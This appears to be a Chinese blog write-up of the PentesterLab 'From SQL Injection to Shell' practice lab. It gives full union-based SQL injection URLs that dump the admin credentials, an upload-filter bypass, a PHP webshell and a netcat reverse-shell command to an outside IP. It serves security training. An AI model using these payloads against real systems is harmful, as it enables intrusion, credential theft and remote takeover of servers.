• PentesterLab-From SQL Injection to Shell


    一、打开靶机ip出现如下界面:

    随便点一下,点到test链接,访问了如下url:http://192.168.109.131/cat.php?id=1,这里出现了一个id,常规思路这个位置可能有sql注入。然后看其他链接,都差不多,直到点到Admin的链接时,出来一个后台。

    二、SQL注入先行

    既然有id=1,首先看下这个id是字符还是数字,后面加一个 ' 号,出现了Mysql的报错,确认是注入无疑,而且错误提示中只出现了一个 ' ,那看来是数字型了,下面就常规注入:

    1、这种靶机一般不会有太多字段,手工从0开始order by一下,直到order by到4的时候报错了,那应该有三个字段

    http://192.168.109.131/cat.php?id=2%20order%20by%203

    2、开始看下注入点在第几个字段,发现出现在第二个字段

    http://192.168.109.131/cat.php?id=2%20and%20select%201,2,3

    3、那么就开始爆破库、表

    http://192.168.109.131/cat.php?id=2%20union%20select%201,schema_name,3,4%20from%20information_schema.schemata%20limit%201,2

    4、爆库过程中发现都是常见的mysql默认库,直到这里发现一个首页字样的库名,库名为photoblog,拿着这个库名看下都有什么表,找到一个users的表

    http://192.168.109.131/cat.php?id=2%20union%20select%201,table_name,3,4%20from%20information_schema.tables%20where%20table_schema=0x70686f746f626c6f67%20limit%203,4

    5、然后看下字段,找到了login和password两个字段

    http://192.168.109.131/cat.php?id=2%20union%20select%201,column_name,3,4%20from%20information_schema.columns%20where%20table_schema=0x70686f746f626c6f67%20and%20table_name=0x7573657273%20limit%202,3

    6、查看这两个数据,得到用户名密码,md5破解后得到用户名密码:admin:P4ssw0rd

    http://192.168.109.131/cat.php?id=2%20union%20select%201,login,3,4%20from%20photoblog.users%20limit%201,2
    http://192.168.109.131/cat.php?id=2%20union%20select%201,password,3,4%20from%20photoblog.users%20limit%201,2

    7、本来想着能通过注入直接getshell,发现当前用户没有权限,放弃这个思路

    http://192.168.109.131/cat.php?id=2%20union%20select%201,%27%3C?php%20phpinfo();%3E%27,3,4%20into%20outfile%20%27/var/www/test.php%27

    8、nmap跑了下端口,开了ssh服务,用这个账户登录了,发现进不去,看来系统密码没有被复用

    9、回到页面首页,进入后台,输入用户名密码,成功进入后台

    显示了很多图片,直接看到new字样,这里有个上传功能

    10、随便上传一个php,报错了,提示 NO PHP,看来不能直接上传php,重新改了个后缀名,.php.jpg,上传成功,看来是只检测了后缀名,想到php引擎可以解析php1,php2,php3,这里直接试下php3,上传成功

    #webshell脚本
    <?php system($_GET['cmd']); ?>

    11、通过该webshell执行nc反弹系统shell,完成该靶机任务

    http://192.168.109.131/admin/uploads/function.php3?cmd=/bin/nc%2030.117.75.246%209999%20-e%20/bin/bash

    请使用手机"扫一扫"x

  • 相关阅读:
    Windows下Goland的Terminal设置为Git Bash
    BoltDB简单使用教程
    Base64编码转换原理
    [区块链|非对称加密] 对数字证书(CA认证)原理的回顾
    [数据库锁机制] 深入理解乐观锁、悲观锁以及CAS乐观锁的实现机制原理分析
    升级mojave后的小问题解决
    ubuntu安装ssh服务记录
    dubbo+maven多模块项目单元测试
    sass与less
    (转)初识 Lucene
  • 原文地址:https://www.cnblogs.com/zlgxzswjy/p/9648561.html
Copyright © 2020-2023  润新知